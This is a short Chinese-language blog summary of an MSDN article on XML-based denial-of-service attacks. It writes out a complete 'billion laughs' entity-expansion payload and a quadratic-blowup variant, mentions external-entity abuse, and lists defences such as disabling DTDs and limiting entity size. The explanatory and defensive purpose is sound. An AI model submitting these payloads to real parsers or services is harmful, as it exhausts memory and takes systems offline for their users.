内容来自此文:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
DoS(Denial of service:拒绝服务)攻击由来已久(1992),比SQL注入(1998),跨站脚本(1995),CSRF(1994)都要早。
DoS攻击非常简单有效。最早的DoS攻击使用TCP SYN洪泛攻击,现代的服务器软硬件大多已经抵御了此类攻击。http://baike.baidu.com/link?url=v24lBbsdB0TjV1y6qwL1cF9cOygTGg9AesHna4S7PwOcwa7F7k2_Js07jqwfEQNgkGLSFMm3xpoAKz1o2thnHq
http://blog.csdn.net/jiangzhengdong/article/details/8119223
新的DoS攻击转向应用层,比如基于XML的DoS攻击。
XML炸弹
XML document type definition (DTD)可以定义entity,DTD可以出现在外部文件或文件内部。
利用DTD可以产生XML炸弹,也就是能迅速占用大量内存的文件,如下为例:
当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
还有一种,虽然扩展率没那么大,也很有效。200K的能够扩展到2.5G。
<?xml version="1.0"?> <!DOCTYPE kaboom [ <!ENTITY a "aaaaaaaaaaaaaaaaaa..."> ]> <kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
外部实体攻击
DTD也可以引用外部的实体链接。
<!ENTITY stockprice SYSTEM "http://www.contoso.com/currentstockprice.ashx">
如果遇到这种实体stockprice,永不返回,那么XML解析也就会超时了。但更好的攻击是开始返回无限长的字符串,耗尽资源。
防御XML炸弹
禁止DTD
防御外部实体攻击
限制每个实体的最大长度
限制超时